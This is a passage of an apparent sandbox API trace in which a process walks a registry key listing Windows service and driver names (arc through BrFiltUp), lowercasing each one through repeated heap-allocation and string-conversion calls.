BaseAddress=0x21f18e0) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.034] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.034] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0191.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.034] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.035] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.035] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.035] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.035] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.035] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.036] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.036] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.036] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0191.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.036] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.037] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.037] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.037] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.038] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.038] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.038] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0191.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.038] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.039] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.039] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.039] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0191.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.040] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.040] WideCharToMultiByte (in: 